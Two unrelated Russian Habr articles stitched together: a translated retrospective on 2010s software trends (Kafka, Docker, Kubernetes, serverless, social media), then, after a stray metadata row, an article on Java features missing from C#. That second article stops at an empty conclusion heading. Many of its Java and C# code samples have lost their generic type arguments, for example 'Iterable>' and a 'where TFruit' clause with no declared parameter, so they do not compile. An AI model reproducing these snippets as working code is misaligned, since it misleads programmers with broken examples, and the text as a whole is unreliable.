***Прим. перев.**: Эта статья, ставшая хитом на Medium, — обзор ключевых (за 2010-2019 годы) изменений в мире языков программирования и связанной с ними экосистемы технологий (особое внимание уделяется Docker и Kubernetes). Её оригинальным автором является Cindy Sridharan, которая специализируется на инструментах для разработчиков и распределённых системах — в частности, она написала книгу «Distributed Systems Observability» — и достаточно популярна в интернет-пространстве среди IT-специалистов, особенно интересующихся темой cloud native.*
2019-й подошел к концу, поэтому я хотела бы поделиться своими мыслями о некоторых наиболее важных технологических достижениях и инновациях прошедшего десятилетия. Кроме того, я попытаюсь немного заглянуть в будущее и обозначить основные проблемы и возможности предстоящего десятилетия.
Хочу сразу оговориться, что в этой статье я не охватываю изменения в таких областях, как наука о данных *(data science)*, искусственный интеллект, frontend engineering и т.п., поскольку лично у меня отсутствует достаточный опыт в них.
Типизация наносит ответный удар
-------------------------------
Одной из самых позитивных тенденций 2010-х стало возрождение языков со статической типизацией. Впрочем, подобные языки никуда и не исчезали (С++ и Java востребованы сегодня; доминировали они и десять лет назад), однако языки с динамической типизацией (динамические) пережили значительный рост популярности после возникновения движения Ruby on Rails в 2005 году. Этот рост достиг своего максимума в 2009 году с открытием исходного кода Node.js, благодаря которому Javascript-на-сервере стал реальностью.
Со временем динамические языки растеряли часть своей притягательности в области создания серверного ПО. Язык Go, популяризированный в ходе контейнерной революции, казался лучше приспособленным к созданию высокопроизводительных, ресурсоэффективных серверов с параллельной обработкой информации (с чем [согласен](https://twitter.com/copyconstruct/status/903320771585490944) сам создатель Node.js).
Rust, представленный в 2010-м, включил в себя достижения в [теории типов](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B8%D1%8F_%D1%82%D0%B8%D0%BF%D0%BE%D0%B2) в попытке стать безопасным и типизированным языком. В первой половине десятилетия отношение к Rust в отрасли было довольно прохладным, однако во второй половине его популярность значительно возросла. Среди примечательных примеров использования Rust можно назвать его применение для [Magic Pocket в Dropbox](https://www.wired.com/2016/03/epic-story-dropboxs-exodus-amazon-cloud-empire/), [Firecracker от AWS](https://github.com/firecracker-microvm/firecracker) *(мы рассказывали о нём в [этой статье](https://habr.com/ru/company/flant/blog/431192/) — прим. перев.)*, досрочном WebAssembly-компиляторе [Lucet](https://github.com/bytecodealliance/lucet) от Fastly (ныне входит в Bytecode Alliance) и др. В условиях, когда Microsoft рассматривает возможность переписать некоторые части ОС Windows на Rust, можно с уверенностью сказать, что в 2020-х этот язык ожидает светлое будущее.
Даже динамические языки получили новые возможности вроде [опциональных типов](https://en.wikipedia.org/wiki/Option_type) *(optional types)*. Впервые они были реализованы в TypeScript — языке, позволяющем создавать типизированный код и компилировать его в JavaScript. PHP, Ruby и Python обзавелись собственными системами опциональной типизации ([mypy](http://mypy-lang.org/), [Hack](https://docs.hhvm.com/hack/types/introduction)), которые успешно используются в [production](https://blogs.dropbox.com/tech/2019/09/our-journey-to-type-checking-4-million-lines-of-python/).
Возвращение SQL в NoSQL
-----------------------
NoSQL — еще одна технология, которая в начале десятилетия была гораздо более популярной, чем в конце. Думаю, для этого есть две причины.
Во-первых, модель NoSQL с отсутствием схемы, транзакций и более слабыми гарантиями согласованности, оказалась сложнее в реализации, нежели модель SQL. В [блог-заметке](https://cloud.google.com/blog/products/gcp/why-you-should-pick-strong-consistency-whenever-possible) с названием «Почему следует предпочитать строгую согласованность при любом удобном случае» *(Why you should pick strong consistency, whenever possible)* Google пишет:
> *Одна из вещей, которую мы уяснили в Google, состоит в том, что код приложения проще, а сроки разработки короче, если инженеры могут положиться на имеющиеся хранилища при обработке сложных транзакций и поддержании порядка данных. Цитируя оригинальную документацию к Spanner, «мы считаем, что лучше, если программисты будут заниматься проблемами с производительностью приложения из-за злоупотребления транзакциями по мере возникновения узких мест, нежели чем постоянно будут держать в уме отсутствие транзакций».*
Вторая причина связана с ростом «масштабируемых» распределенных баз данных SQL (таких как [Cloud Spanner](https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45855.pdf) и [AWS Aurora](https://twitter.com/copyconstruct/status/1061729541884862465)) в публичном облачном пространстве, а также Open Source-альтернатив вроде CockroachDB *(про неё мы тоже [писали](https://habr.com/ru/company/flant/blog/327640/) — прим. перев.)*, которые решают многие из технических проблем, из-за которых традиционные SQL-базы «не масштабировались». Даже MongoDB, когда-то бывшая олицетворением движения NoSQL, теперь [предлагает](https://docs.mongodb.com/manual/core/transactions/) распределенные транзакции.
> *Для ситуаций, требующих атомарности операций чтения и записи в несколько документов (в одной или нескольких коллекциях), MongoDB поддерживает транзакции со множеством документов. В случае распределенных транзакций, транзакции можно использовать для множества операций, коллекций, баз данных, документов и шардов.*
Тотальная стримификация
-----------------------
Apache Kafka, без сомнения, стал одним из самых важных изобретений прошедшего десятилетия. Его исходный код был открыт в январе 2011-го, и за эти годы Kafka произвел настоящую революцию в работе бизнеса с данными. Kafka использовался во всех компаниях, в которых мне довелось работать, начиная от стартапов и заканчивая крупными корпорациями. Предоставляемые им гарантии и варианты использования (pub-sub, потоки, событийно-ориентированные архитектуры) применяются в различных задачах: от организации хранения данных до мониторинга и потоковой аналитики, — востребованных во многих областях, таких как финансы, здравоохранение, госсектор, розничная торговля и т.д.
Непрерывная интеграция (и в меньшей степени непрерывное развертывание)
----------------------------------------------------------------------
Непрерывная интеграция (Continuous Integration) появилась не в последние 10 лет, однако именно за прошедшее десятилетие она *распространилась до такой степени*, что стала частью стандартного рабочего процесса (run-тесты на всех pull request'ах). Становление GitHub в качестве платформы по разработке и хранению кода и, что более важно, развитие рабочего процесса на основе [GitHub flow](https://guides.github.com/introduction/flow/) означает, что проведение тестов до принятия pull request'а в мастер — это *единственный* workflow в разработке, знакомый инженерам, начавшим свои карьеры в последние десять лет.
Непрерывное развертывание (Continuous Deployment; развертывание каждого коммита в том виде и в тот момент, когда он попадает в мастер) не так широко распространено, как непрерывная интеграция. Впрочем, со множеством различных облачных API для развертывания, растущей популярностью платформ вроде Kubernetes (предоставляющих стандартизованный API для развертываний) и появление мульти-платформенных, мульти-облачных инструментов вроде Spinnaker (построенных поверх упомянутых стандартизованных API), процессы развертывания стали более автоматизированными, упорядоченными и, в общем, более безопасными.
Контейнеры
----------
Контейнеры, пожалуй, можно назвать самой хайповой, обсуждаемой, рекламируемой и неверно понимаемой технологией 2010-х. С другой стороны, это одна из самых важных инноваций предыдущего десятилетия. Частично причина всей этой какофонии лежит в смешанных сигналах, которые мы получали практически отовсюду. Теперь, когда шумиха немного поутихла, некоторые моменты приобрели более отчетливые оттенки.
Контейнеры стали популярны вовсе не потому, что это лучший способ запустить приложение, удовлетворяющий запросам глобального сообщества разработчиков. Контейнеры стали популярны потому, что удачно вписались в маркетинговый запрос на некий инструмент, решающий совершенно иную задачу. Docker оказался *фантастическим* инструментом для разработки, решающим насущную проблему совместимости («работает на моей машине»).
Точнее говоря, революцию произвел *Docker-образ*, поскольку решил проблему паритета между средами и обеспечил истинную переносимость не только файла приложения, но и всех его программных и операционных зависимостей. Тот факт, что этот инструмент каким-то образом подстегнул популярность «контейнеров», которые по сути представляют собой весьма низкоуровневую деталь реализации, для меня остается, пожалуй, главной загадкой прошедшего десятилетия.
Serverless
----------
Готова поспорить, что появление «бессерверных» вычислений даже важнее, чем контейнеров, поскольку оно действительно позволяет воплотить в реальность мечту о вычислениях по запросу *(on-demand)*. В последние пять лет я наблюдала за постепенным расширением сферы применения бессерверного подхода (добавлялась поддержка новых языков и сред выполнения). Возникновение таких продуктов, как Azure Durable Functions, представляется верным шагом на пути реализации stateful-функций (попутно решающим [некоторые проблемы](http://cidrdb.org/cidr2019/papers/p119-hellerstein-cidr19.pdf), связанные с ограничениями FaaS). С интересом понаблюдаю, как эта новая парадигма будет развиваться в ближайшие годы.
Автоматизация
-------------
Пожалуй, больше всего от этого тренда выиграло сообщество инженеров по эксплуатации, поскольку именно он позволил воплотить в жизнь концепции вроде «инфраструктура как код» (IaC). Кроме того, страсть к автоматизации совпала с ростом «культуры SRE», целью которой является более программно-ориентированный подход к эксплуатации.
Всеобщая API-фикация
--------------------
Еще одной любопытной особенностью прошедшего десятилетия стала API-фикация различных задач разработки. Хорошие, гибкие API позволяют разработчику создавать инновационные рабочие процессы и инструменты, которые в свою очередь помогают с обслуживанием и повышают удобство работы.
Кроме того, API-фикация — это первый шаг к SaaS-фикации некоторого функционала или инструмента. Эта тенденция также совпала с ростом популярности микросервисов: SaaS стал просто еще одним сервисом, с которым можно работать по API. В настоящее время имеется множество SaaS- и FOSS-инструментов в таких областях, как мониторинг, платежи, балансировка нагрузки, непрерывная интеграция, оповещения, переключение функциональности *(feature flagging)*, CDN, инжиниринг трафика (например, DNS) и т.д., которые процветали в прошлом десятилетии.
Наблюдаемость
-------------
Стоит отметить, что сегодня нам доступны *намного более продвинутые* инструменты для мониторинга и диагностики поведения приложений, чем когда-либо ранее. Систему мониторинга Prometheus, получившую статус Open Source в 2015 году, можно назвать, пожалуй, *лучшей* системой мониторинга из тех, с которыми мне доводилось работать. Она не совершенна, однако значительное число вещей в ней реализованы совершенно правильным образом (например, поддержка измерений *[dimensionality]* в случае метрик).
Распределенная трассировка стала еще одной технологией, вышедшей в мейнстрим в 2010-х благодаря таким инициативам, как OpenTracing (и ее преемнице OpenTelemetry). Хотя трассировка по-прежнему довольно сложна в применении, некоторые из последних разработок позволяют надеяться, что в 2020-х мы раскроем ее истинный потенциал. *(Прим. перев.: Читайте также в нашем блоге перевод статьи «[Распределённая трассировка: мы всё делали не так](https://habr.com/ru/company/flant/blog/460365/)» этого же автора.)*
Заглядывая в будущее
--------------------
Увы, существует множество болевых точек, которые ждут своего разрешения в наступившем десятилетии. Вот мои мысли по их поводу и некоторые потенциальные идеи о том, как от них избавиться.
### Решение проблемы закона Мура
Конец закона масштабирования Деннарда и отставание от закона Мура требуют новых инноваций. John Hennessy в [своей лекции](https://www.dropbox.com/s/rs6gg4rpqufbsij/Dertouzos_John_Hennessy_03-06-2019.mp4%20.mp4?dl=0) объясняет, почему проблемно-зависимые *(domain specific)* архитектуры вроде TPU могут стать одним из решений проблемы отставания от закона Мура. Тулкиты вроде [MLIR](https://research.google/pubs/pub48035/) от Google уже представляются хорошим шагом вперед в этом направлении:
> *Компиляторы должны поддерживать новые приложения, легко портироваться на новое аппаратное обеспечение, связывать многие уровни абстракции, начиная от динамических, управляемых языков и до векторных ускорителей и программно-управляемых запоминающих устройств, в то же время предоставляя высокоуровневые переключатели для автонастройки, обеспечивая функциональность just-in-time, диагностику и распространяя отладочную информацию о функционировании и производительности систем по всему стеку, и при этом в большинстве случаев обеспечивать производительность, достаточно близкую к написанному вручную ассемблеру. Мы намерены делиться своим видением, прогрессом и планами в отношении разработки и публичной доступности подобной компилирующей инфраструктуры.*
### CI/CD
Хотя рост популярности CI стал одним из главных трендов 2010-х, Jenkins по-прежнему остается золотым стандартом CI.
[](https://twitter.com/markpapadakis/status/1209200114016956420)
Это пространство остро нуждается в инновациях в следующих областях:
* пользовательский интерфейс (DSL для кодирования тестовых спецификаций);
* детали реализации, которые сделают его по-настоящему масштабируемым и быстрым;
* интеграция с различными средами (staging, prod и т. д.) для осуществления более продвинутых форм тестирования;
* непрерывная проверка и развертывание.
### Инструменты разработчиков
Как отрасль, мы начали создавать все более сложное и впечатляющее программное обеспечение. Однако когда речь заходит о наших собственных инструментах, можно сказать, что ситуация могла бы быть намного лучше.
Совместное и удаленное (по ssh) редактирование приобрели некоторую популярность, однако так и не стали новым стандартным способом разработки. Если вы, как и я, отвергаете саму мысль о *необходимости* постоянного подключения к интернету только для того, чтобы иметь возможность заниматься программированием, то работа через ssh на удаленной машине вас вряд ли устроит.
Локальные среды разработки, особенно для инженеров, работающих над крупными сервис-ориентированными архитектурами, все еще остаются проблемой. Некоторые проекты пытаются ее решить, и мне было бы интересно узнать, как будет выглядеть самый эргономичный UX для данного сценария использования.
Также было бы интересно развить концепцию «переносимых сред» на другие области разработки, такие как воспроизведение ошибок (или [flaky tests](https://docs.gitlab.com/ee/development/testing_guide/flaky_tests.html)), встречающихся в определенных условиях или при определенных настройках.
Также я хотела бы видеть больше инноваций в таких областях, как семантический и контекстно-зависимый поиск кода, инструменты, позволяющие соотносить инциденты в production с конкретными частями кодовой базы, и т.д.
### Вычисления (будущее PaaS)
На фоне всеобщего ажиотажа по поводу контейнеров и serverless в 2010-х спектр решений в публичном облачном пространстве значительно расширился в последние несколько лет.
В связи с этим возникают несколько интересных вопросов. Прежде всего, список доступных вариантов в публичном облаке постоянно растет. У поставщиков облачных услуг имеется персонал и ресурсы, позволяющие им с легкостью идти в ногу с последними достижениями в мире Open Source и выпускать продукты вроде «serverless pod'ов» (подозреваю, просто делая их собственные FaaS runtime'ы совместимыми с OCI) или другие похожие причудливые штуки.
Тем, кто пользуется этими облачными решениями, можно только позавидовать. В теории облачные предложения Kubernetes (GKE, EKS, EKS на Fargate и т.д.) предоставляют независимые от облачного провайдера API для запуска рабочих нагрузок. Если вы пользуетесь подобными продуктами (ECS, Fargate, Google Cloud Run и др.), то, вероятно, уже максимально задействуете наиболее интересные функции, предлагаемые поставщиком услуг. Кроме того, при появлении новых продуктов или вычислительных парадигм миграция, скорее всего, будет простой и беззаботной.
Учитывая то, как быстро развивается спектр подобных решений (я очень удивлюсь, если в ближайшее время не появится пара-тройка новых вариантов), небольшим «платформенным» командам (командам, связанным с инфраструктурой и отвечающим за создание платформ on-premise для запуска рабочих нагрузок в компаниях) будет невероятно трудно конкурировать в плане функциональных возможностей, простоты использования и общей надежности. 2010-е прошли под знаком Kubernetes как инструмента для создания PaaS (платформа-как-услуга), поэтому мне кажется совершенно бессмысленным создание внутренней платформы на базе Kubernetes, предлагающей те же возможности выбора, простоту и свободу, доступные в публичном облачном пространстве. Представление об основанной на «контейнерах» PaaS как о «стратегии Kubernetes» равносильно умышленному отказу от использования самых инновационных возможностей облака.
Если посмотреть на доступные *сегодня* вычислительные возможности, становится очевидно, что создание собственной PaaS исключительно на базе Kubernetes равносильно тому, чтобы собственноручно загнать себя в угол (не слишком дальновидный подход, да?). Даже если кто-то решит сегодня создать контейнерную PaaS на базе Kubernetes, через пару лет она будет выглядеть устаревшей по сравнению с облачными возможностями. Хотя Kubernetes начинал свое существование как проект с открытым исходным кодом, его прародителем и идейным вдохновителем выступает соответствующий внутренний инструмент Google. Однако он изначально разрабатывался в начале/середине 2000-х, когда вычислительный ландшафт был совершенно другим.
Кроме того, в очень широком смысле компании и не должны становиться экспертами в работе с кластером Kubernetes, равно как они не занимаются созданием и поддержанием собственных центров обработки данных. Обеспечение надежной вычислительной основы — это основная задача *поставщиков облачных услуг*.
Наконец, у меня складывается ощущение, что мы немного регрессировали как отрасль в плане *опыта взаимодействия* ([UX](https://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D1%8B%D1%82_%D0%B2%D0%B7%D0%B0%D0%B8%D0%BC%D0%BE%D0%B4%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D0%B8%D1%8F)). Heroku была запущена в 2007 году и до сих пор остается одной из самых *простых в использовании* платформ. Спору нет, Kubernetes обладает гораздо большей мощностью, расширяемостью и программируемостью, однако я скучаю по тому, насколько просто начать работу и провести развертывание в Heroku. Чтобы пользоваться этой платформой, достаточно знать Git.
Все это подводит меня к следующему умозаключению: для работы нам необходимы лучшие, более высокоуровневые абстракции (особенно это справедливо для **абстракций самого высокого уровня**).
### Правильный API самого высокого уровня
Docker — это отличный пример необходимости лучшего разделения задач одновременно с **правильной реализацией API высочайшего уровня**.
Проблема Docker'а в том, что (по крайней мере) изначально перед проектом были поставлены слишком глобальные цели: все ради решения проблемы совместимости («работает на моей машине») с помощью контейнерной технологии. Docker был и форматом образов, и runtime'ом с собственной виртуальной сетью, и инструментом CLI, и демоном, работающим под root'ом, и многим другим. Во всяком случае, обмен сообщениями был *более* запутанным, не говоря уже о «легковесных VM», контрольных группах, пространствах имен, многочисленных проблемах с безопасностью и функций вперемешку с маркетинговым призывом «создавать, поставлять, запускать любое приложение где угодно».
Как и со всеми хорошими абстракциями, требуется время (а также опыт и боль), чтобы разбить различные проблемы на логически слои, которые можно скомбинировать друг с другом. Увы, прежде чем Docker сумел достичь подобной зрелости, в борьбу вступил Kubernetes. Он настолько монополизировал хайп-цикл, что теперь все старались не отставать от изменений в экосистеме Kubernetes, а экосистема контейнеров приобрела вторичный статус.
Kubernetes во многих отношениях разделяет те же проблемы, что и Docker. Несмотря на все разговоры о крутой и составляемой (composable) абстракции, *разделение различных задач на слои* не слишком хорошо инкапсулировано. В своей основе это оркестратор контейнеров, запускающий контейнеры в кластере, состоящем из различных машин. Это довольно низкоуровневая задача, применимая только к инженерам, эксплуатирующим кластер. С другой стороны, Kubernetes это также **абстракция высочайшего уровня**, CLI-инструмент, с которым пользователи взаимодействуют через YAML.
Docker был (и остается) *классным* инструментом для разработки, несмотря на все его недостатки. В попытке угнаться сразу за всеми «зайцами» его разработчикам удалось правильным образом реализовать *абстракцию высочайшего уровня*. **Под абстракцией высочайшего уровня я подразумеваю *подмножество* функциональности, в которой действительно была заинтересована целевая аудитория (в данном случае разработчики, проводившие большую часть времени в своих локальных средах разработки) и которое отлично работало «из коробки»**.
Dockerfile и CLI-утилита `docker` должны стать примером построения хорошего «пользовательского интерфейса высочайшего уровня». Рядовой разработчик может приступить к работе с Docker'ом, ничего не зная о тонкостях *реализации, вносящих вклад в эксплуатационный опыт*, таких как пространства имен, контрольные группы, ограничения памяти и CPU и т.д. В конечном счете написание Dockerfile'а не сильно отличается от написания shell-сценария.
Kubernetes предназначен для различных целевых групп:
* администраторов кластера;
* инженеров-программистов, занимающихся вопросами инфраструктуры, расширяющих возможности Kubernetes и создающих платформы на его основе;
* конечных пользователей, взаимодействующих с Kubernetes посредством `kubectl`.
Подход «один API подходит для всего», примененный в Kubernetes, представляет собой недостаточно инкапсулированную «гору сложности» без указания того, как ее масштабировать. Все это приводит к неоправданно затяжной траектории обучения. Как [пишет](https://twitter.com/adamhjk/status/1194667151937818625) Adam Jacob, «Docker принёс пользователям трансформирующий опыт, который до сих пор не превзошли. Спросите у любого, кто использует K8s, хотели бы они, чтобы он работал как их первый `docker run`. Ответ будет утвердительным»:
Я бы сказала, что основная часть инфраструктурной технологии сегодня слишком низкоуровневая (и, следовательно, считается «слишком сложной»). Kubernetes реализован на довольно низком уровне. Распределенная трассировка в ее [нынешней форме](https://habr.com/ru/company/flant/blog/460365/) (множество span'ов, сшитых вместе, чтобы сформировать traceview) также реализована на слишком низком уровне. Инструменты для разработчиков, реализующие «абстракции самого высокого уровня», как правило, оказываются наиболее успешными. Это умозаключение оказывается справедливым в удивительном числе случаев (если технология слишком комплексна или сложна в использовании, то «API/UI высочайшего уровня» для этой технологии еще только предстоит открыть).
Прямо сейчас экосистема cloud native смущает своей зацикленностью на низкоуровневости. Как отрасль мы должны внедрять инновации, экспериментировать и обучать тому, как выглядит правильный уровень «максимальной, высочайшей абстракции».
### Розничная торговля
В 2010-х цифровой опыт в розничной торговле почти не изменился. С одной стороны, легкость онлайн-покупок должна была ударить по классическим розничным магазинам, с другой — онлайн-шоппинг фундаментально почти не поменялся за десятилетие.
Хотя у меня нет конкретных мыслей относительно развития этой отрасли в следующем десятилетии, я буду сильно разочарована, если в 2030-м мы будем совершать покупки так же, как делаем это в 2020-м.
### Журналистика
Я все больше разочаровываюсь в состоянии мировой журналистики. Становится все труднее находить беспристрастные новостные ресурсы, которые вещают объективно и педантично. Очень часто граница между самой новостью и мнением о ней стирается. Как правило, информация преподносится предвзято. Это особенно справедливо в случае некоторых стран, где исторически не существовало разделения между новостью и мнением о ней. В недавней статье, опубликованной после последних всеобщих выборов в Великобритании, Alan Rusbridger, бывший редактор The Guardian, [пишет](https://www.theguardian.com/politics/2019/dec/14/election-in-the-media-evasion-lies-good-journalism-is-all-we-have):
> *Главная мысль состоит в том, что на протяжении многих лет я смотрел на американские газеты и жалел тамошних коллег, которые отвечали исключительно за новости, возлагая комментирование на совершенно других людей. Однако со временем жалость превратилась в зависть. Теперь я думаю, что всем британским национальным газетам следует отделить ответственность за новости от ответственности за комментарии. Увы, рядовому читателю — особенно онлайн-читателю — слишком сложно разглядеть разницу.*
Учитывая достаточно сомнительную репутацию Кремниевой долины, когда речь заходит об этике, я бы ни при каких обстоятельствах не доверила технологиям «революцию» в журналистике. При этом я (и многие мои знакомые) была бы рада, если бы появился беспристрастный, бескорыстный и заслуживающий доверия новостной ресурс. Пока я не представляю, как могла бы выглядеть подобная платформа, но уверена, что в эпоху, когда правду становится все труднее разглядеть, потребность в честной журналистике выше, чем когда-либо.
### Социальные сети
Социальные сети и коллективные новостные платформы выступают основным источником информации для многих людей в различных уголках мира, и недостаток точности и нежелание некоторых платформ проводить хотя бы базовою проверку основных фактов приводят к таким плачевным последствиям, как геноцид, вмешательство в выборы и т.д.
Социальные сети также являются самым мощным медийным средством из всех когда-либо существовавших. Они кардинально изменили политическую практику. Они изменили рекламу. Они изменили поп-культуру (например, основной вклад в развитие т.н. cancel culture *[культуры остракизма — прим. перев.]* вносят именно социальные сети). Критики утверждают, что социальные сети оказались плодородной почвой для быстрых и «капризных» изменений в моральных ценностях, однако они также обеспечили представителям маргинальных групп возможность объединяться (ранее у них никогда не было такой возможности). В сущности, социальные сети изменили способ общения и способ самовыражения людей в XXI веке.
Тем не менее, я также убеждена, что социальные сети способствуют проявлению худших человеческих импульсов. Внимательностью и вдумчивостью часто пренебрегают в угоду популярности, и становится практически невозможно выражать аргументированное несогласие с определенными мнениями и позициями. Поляризация часто выходит из-под контроля, в результате публика попросту не слышит отдельные мнения, в то время как абсолютисты контролируют вопросы онлайн-этикета и приемлемости.
Я задаюсь вопросом, можно ли создать «лучшую» платформу, способствующую повышению качества дискуссий? Ведь именно то, что движет «вовлеченностью», часто и приносит основную прибыль этим платформам. Как [пишет](https://www.nytimes.com/2019/12/31/opinion/2019-in-tech.html?action=click&module=Opinion&pgtype=Homepage) Kara Swisher в New York Times:
> *Можно развивать цифровое взаимодействие, не провоцируя ненависть и нетерпимость. Причина, по которой большинство социальных сетей кажутся настолько токсичными, состоит в том, что они создавались ради скорости, вирусности и привлечения внимания, а не ради содержания и точности.*
Было бы действительно прискорбно, если бы через пару десятилетий единственным наследием социальных сетей стало бы размывание нюансов и адекватности в публичном дискурсе.
P.S. от переводчика
-------------------
Читайте также в нашем блоге:
* «[Трансформация Docker: продажа Docker Enterprise в Mirantis и обновлённый путь](https://habr.com/ru/company/flant/blog/475814/)»;
* «[Прошлое, настоящее и будущее Docker и других исполняемых сред контейнеров в Kubernetes](https://habr.com/ru/company/flant/blog/429952/)»;
* «[Новая статистика CNCF о контейнерах, cloud native и Kubernetes](https://habr.com/ru/company/flant/blog/422949/)»;
* «[Сколько разработчиков думают, что Continuous Integration не нужна?](https://habr.com/ru/company/flant/blog/346418/)». | https://habr.com/ru/post/482664/ | null | ru | null |
# Топ вещей из Java, которых мне не хватает в C#
Спор "Java vs. C#" существует чуть меньше, чем вечность. Есть много статей, затрагивающих разные участки его спектра: Что есть в C# чего нет в Java, что языки друг у друга позаимствовали, у одних LINQ, у других обратная совместимость, в общем, тысячи их.
Однако, я никогда не видел, чтобы писали о чём-то, что в Java, с точки зрения фич языка есть, чего в C# нет. Впрочем, я здесь не для того, чтобы спорить. Эта статья призвана выразить моё субъективное мнение и заполнить небольшой пробел по теме, озвученной в заголовке.
---
Оба языка крутые, востребованные, у меня нет цели принизить один на фоне другого. Наоборот, хочу озвучить, что можно было бы, на мой взгляд, привнести, и порассуждать о том, насколько это нужно. Поэтому перейдём сразу к списку.
1. Class based Enum
-------------------
Ни для кого не секрет, что в отличие от Java, в C# и C++ перечисления это именованные **числовые** константы. А что есть перечисления в Java? По сути, синтаксический сахар поверх **класса**. Напишем какое-нибудь перечисление, например. для хранения типов "слов", распознаваемых лексическим анализатором:
```
enum TokenType {
IDENTIFIER,
NUMBER,
ASSIGN;
}
```
И поскольку перечисление это тот же класс, то можно накрутить конструктор, методы, поля, да даже *реализацию интерфейса*! Добавим возможность константам перечисления трансформироваться в регулярное выражение:
```
interface ToPattern {
Pattern getPattern();
}
enum TokenType implements ToPattern {
IDENTIFIER("[a-zA-Z][a-zA-Z0-9]*"),
NUMBER("[0-9]+"),
ASSIGN("[=]");
private final String pattern;
private TokenType(String pattern){
this.pattern = pattern;
}
@Override
public Pattern getPattern() {
return Pattern.compile(pattern);
}
}
```
А как сделать подобное в C#? Есть два варианта:
1. Атрибуты и методы расширений с рефлексией (*нельзя реализовывать интерфейсы*):
```
[AttributeUsage(AttributeTargets.Field)]
internal class PatternAttribute : Attribute
{
public string Pattern { get; }
public PatternAttribute(string pattern) =>
Pattern = pattern;
}
public enum TokenType
{
[Pattern("[a-zA-Z][a-zA-Z0-9]*")] Identifier,
[Pattern("[0-9]+")] Number,
[Pattern("[=]")] Assign
}
public static class TokenTypeExtensions
{
public static Regex GetRegex(this TokenType tokenType) =>
new(typeof(TokenType)
.GetField(tokenType.ToString())!
.GetCustomAttribute()!
.Pattern);
}
```
2. Классы с публичными статическими константами:
```
interface IHasRegex
{
Regex Regex { get; }
}
class TokenType : IHasRegex
{
public static readonly TokenType Identifier =
new("[a-zA-Z][a-zA-Z0-9]*");
public static readonly TokenType Number =
new("[0-9]+");
public static readonly TokenType Assign =
new("[=]");
private readonly string _pattern;
private TokenType(string pattern) =>
_pattern = pattern;
public Regex Regex => new(_pattern);
}
```
Напрашивается вопрос:
> Зачем мне перечисления в C#, если я могу реализовывать их так, как они устроены в Java?
>
>
Особенно актуальный при наличии новых возможностей языка в последних версиях относительно ключевого слова `switch`.
2. Full support of covariant return types
-----------------------------------------
[Начиная с C# 9, в языке появилась возможность делать возвращаемые типы методов ковариантными.](https://docs.microsoft.com/en-gb/dotnet/csharp/language-reference/proposals/csharp-9.0/covariant-returns) Если раньше код писался примерно так:
```
abstract record Fruit;
record Apple : Fruit;
record Orange : Fruit;
abstract class FruitFactory
where TFruit : Fruit
{
public abstract TFruit Create();
}
class AppleFactory : FruitFactory
{
public override Apple Create() => new();
}
class OrangeFactory : FruitFactory
{
public override Orange Create() => new();
}
```
То сейчас лишние конструкции *можно опустить*:
```
abstract class FruitFactory
{
public abstract Fruit Create();
}
class AppleFactory : FruitFactory
{
public override Apple Create() => new();
}
class OrangeFactory : FruitFactory
{
public override Orange Create() => new();
}
```
В Java это было почти всегда, и сама возможность работала чуть шире. Она распространялась на реализацию и расширение интерфейсов. Например, я описываю структуру, которую можно копировать вместе данными. Для этого мне нужно указать, что данные копируются. За это отвечает контракт `Cloneable`. По умолчанию, метод `clone` возвращает `Object`. Однако, чтобы не засорять код кастами, я могу написать, что `clone` возвращает то, что копируется:
```
class Tree implements Cloneable {
private final Node root;
public Tree(Node root) {
this.root = root;
}
@Override
public Tree clone() throws CloneNotSupportedException {
super.clone();
return new Tree<>(root.clone());
}
}
class Node implements Iterable>, Cloneable {
private final T data;
private final List> children;
public Node(T data) {
this.data = data;
children = new ArrayList<>();
}
private void push(Node node) {
children.add(node);
}
@Override
public Iterator> iterator() {
return new ArrayList<>(children).iterator();
}
@Override
public Node clone() throws CloneNotSupportedException {
super.clone();
var node = new Node<>(data);
for (var child : this) {
node.push(child.clone());
}
return node;
}
}
```
В C# так сделать нельзя, выйдет ошибка:
> `Method 'Clone' cannot implement method from interface 'System.ICloneable'. Return type should be 'object'.`
>
>
```
class Foo : ICloneable
{
public Foo Clone()
{
throw new NotImplementedException();
}
}
```
Почему у интерфейсов ещё нет ковариантности возвращаемого типа - вопрос открытый, [даже в спецификации языка](https://github.com/dotnet/csharplang/issues/49#issuecomment-976462924).
3. Functional Interfaces
------------------------
В Java есть понятие функциональный интерфейс. *Функциональный интерфейс* (functional interface) – интерфейс с единственным абстрактным методом. Основная фишка таких интерфейсов в том, что их экземпляры можно инициализировать с помощью лямбда выражений (*начиная с Java 8*):
```
@FunctionalInterface
interface IntegerBinaryExpression {
int evaluate(int a, int b);
}
// ...
IntegerBinaryExpression add = (a, b) -> a + b;
System.out.println(add.evaluate(3, 5)); // 8
```
Однако, о том, почему именно так всё устроено, нетрудно догадаться, если посмотреть, на что предлагает заменить IDE значение, присваиваемое переменной `add` типа `IntegerBinaryExpression`:
IntelliJ IDEAЕсли нажать на предлагаемый replace, то получим:
```
IntegerBinaryExpression add = Integer::sum;
```
Всё это, вместе с синтаксисом "пуговицы" (`::`), говорит об одном: функциональные интерфейсы - всего лишь механизм реализации callback'ов в Java. В C# есть делегаты, поэтому надобность в подобном сахаре крайне сомнительна, хоть и выглядит удобно, особенно для интерфейсов, экземпляры которых используются в проекте единожды.
4. Anonymous interface implementation
-------------------------------------
Предыдущий пример, возможно, стоило рассмотреть именно в этой секции, поскольку он является демонстрацией частного случая крутой, на мой взгляд, фичи Java - *анонимная реализация интерфейсов*.
Возьмём теперь контракт, у которого не меньше двух методов:
```
interface Pair {
F first();
S second();
}
```
И если начать набирать `new Pair` для создания экземпляра интерфейса, то нам не выскочит ошибка о том, что нельзя создавать инстансы абстрактных сущностей, а предложение реализовать методы:
```
var myPair = new Pair() {
@Override
public String first() {
return "first";
}
@Override
public Integer second() {
return 2;
}
};
```
Также такие штуки можно проворачивать и с классами (~~абстрактными и не очень~~):
```
class Book {
public void read() {
// ...
}
}
// ...
var myBook = new Book() {
@Override
public void read() {
super.read();
}
};
```
Эта фича открывает новые возможности для создания программного обеспечения в случаях, когда надо не раздувать структуру проекта и на лету создавать новые реализации контрактов, или необходимо инкапсулировать какие-то специфичные сценарии использования контракта. Безусловно, жду в C#, все возможности у CLR для этого есть. [В репозитории Roslyn даже есть feature request](https://github.com/dotnet/roslyn/issues/13).
Заключение
----------
